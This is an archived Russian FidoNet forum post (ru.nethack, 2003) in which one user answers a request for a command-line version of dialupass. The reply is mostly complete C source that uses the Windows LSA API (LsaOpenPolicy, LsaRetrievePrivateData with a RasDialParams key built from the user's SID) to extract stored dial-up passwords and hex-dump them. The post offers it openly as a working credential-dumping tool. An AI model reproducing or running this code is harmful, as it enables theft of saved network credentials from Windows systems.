Главная страница


ru.nethack

 
 - RU.NETHACK -------------------------------------------------------------------
 From : Lev Fireworker                       2:5020/400     03 May 2003  13:37:12
 To : Alexey Chernish
 Subject : Re: dialupass
 -------------------------------------------------------------------------------- 
 
 Alexey Chernish пишет:
 
 > хорошая прога dialupass - вытаскивает все диалапные пароли из-под WinXP
 > но недостаток у нее - наличие интерфейса. вот бы найти схожую программу, но
 > комманд-лайновую, чтобы можно было перенаправить вывод в файл. 
 
 У меня нет ХР и возможности потестить на ней, так что самому интересно
 работают ли там LSAdump LSAexplorer.
 
 > может быть у
 > кого-то есть исходники, или кто-то знает, где их взять?
 
 #include <windows.h>
 #include <Ntsecapi.h>
 #include <stdio.h>
 
 void hexprint(char *buf, int size)
 {
   for (int i=0;i<size;i+=16)
   {
    int j=0;
    while((i+j<size)&&(j<16))
    {
       int z=(unsigned char)buf[i+j];
       printf("%02X ",z);
       j++;
       if (j==8) printf(" ");
    }
    for (j=j;j<18;j++) printf("   ");
    j=0;
    while((i+j<size)&&(j<16))
    {
       if ((unsigned char)buf[i+j]>=' ') printf("%c",buf[i+j]); else
 printf(".");
       j++;
       if (j==8) printf(" ");
    }
    printf("\n");
   }
   printf("\n");
 }
 
 extern "C" __declspec(dllimport) VOID __stdcall 
 RtlInitUnicodeString(
     PUNICODE_STRING DestinationString,
     PCWSTR SourceString
     );
 
 extern "C" __declspec(dllimport) VOID __stdcall 
 RtlConvertSidToUnicodeString(
                PUNICODE_STRING usSID,
                SID *sid,
                DWORD unkown);
 
 #define TARGET_SYSTEM_NAME L"mysystem"
 LSA_HANDLE GetPolicyHandle()
 {
   LSA_OBJECT_ATTRIBUTES ObjectAttributes;
   WCHAR SystemName[] = TARGET_SYSTEM_NAME;
   LSA_UNICODE_STRING lusSystemName;
   NTSTATUS ntsResult;
   LSA_HANDLE lsahPolicyHandle;
 
   // Object attributes are reserved, so initialize to zeroes.
   ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));
 
   //Initialize an LSA_UNICODE_STRING to the server name.
   /*SystemNameLength = 0;//wcslen(SystemName);
   lusSystemName.Buffer = NULL;//SystemName;
   lusSystemName.Length = SystemNameLength * sizeof(WCHAR);
   lusSystemName.MaximumLength= (SystemNameLength+1) * sizeof(WCHAR);*/
 
   RtlInitUnicodeString(&lusSystemName,NULL/*TARGET_SYSTEM_NAME*/);
 
   // Get a handle to the Policy object.
   ntsResult = LsaOpenPolicy(
     &lusSystemName,    //Name of the target system.
         &ObjectAttributes, 
         POLICY_ALL_ACCESS, //Desired access permissions.
         &lsahPolicyHandle  //Receives the policy handle.
     );
 
   if (ntsResult)
   {
     // An error occurred. Display it as a win32 error code.
     wprintf(L"OpenPolicy returned %lu\n",
       LsaNtStatusToWinError(ntsResult));
     return NULL;
   } 
   return lsahPolicyHandle;
 }
 
 int main(int argc, char* argv[])
 {
   char *lpSystemName = NULL;
 
   LSA_HANDLE hPolicy = GetPolicyHandle();
   LSA_UNICODE_STRING *Data;
   LSA_UNICODE_STRING KeyName;
   WCHAR Template[]=L"RasDialParams!%s#%d";
   char AccountName[1024];
   DWORD sAccountName=sizeof(AccountName);
   GetUserName(AccountName,&sAccountName);
   union {
    SID s;
    char c[1024];
   } sid;
   DWORD ssid = sizeof(sid);
   char DomainName[1024];
   DWORD sDomainName = sizeof(DomainName);
   SID_NAME_USE peUse;
   if
 (!LookupAccountName(lpSystemName,AccountName,(SID*)&sid.c,&ssid,(char*)&DomainNa
 me,&sDomainName,&peUse))
    printf("LookupAccountName error %d\n",GetLastError());
   WCHAR wcSIDbuf[100];
   UNICODE_STRING wcSID = {sizeof(wcSIDbuf),sizeof(wcSIDbuf),wcSIDbuf};
   RtlConvertSidToUnicodeString(&wcSID,&sid.s,0);
   wprintf(L"%s\n",wcSIDbuf);
   WCHAR KeyNameW[1024];
   swprintf(KeyNameW,Template,wcSIDbuf,0);
   wprintf(L"%s\n",KeyNameW);
   RtlInitUnicodeString(&KeyName,KeyNameW);
   LsaRetrievePrivateData(hPolicy,&KeyName,&Data);
   if (Data) //wprintf(L"%s\n",Data->Buffer);
    hexprint((char*)Data->Buffer,Data->Length);
   return 0;
 }
 --- ifmail v.2.15dev5
  * Origin: [The N0b0D1eS] (2:5020/400)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 dialupass   Alexey Chernish   02 May 2003 20:17:56 
 Re: dialupass   Lev Fireworker   03 May 2003 13:37:12 
 dialupass   Alexey Chernish   03 May 2003 17:02:29 
 Re: dialupass   Lev Fireworker   04 May 2003 07:37:21 
 dialupass   Alexey Chernish   05 May 2003 11:56:31 
 Re: dialupass   Lev Fireworker   05 May 2003 19:11:53 
 dialupass   Dmitry Radishev   04 May 2003 09:15:10 
 Re: dialupass   Lev Fireworker   05 May 2003 19:11:53 
Архивное /ru.nethack/2778de09d76b.html, оценка 3 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional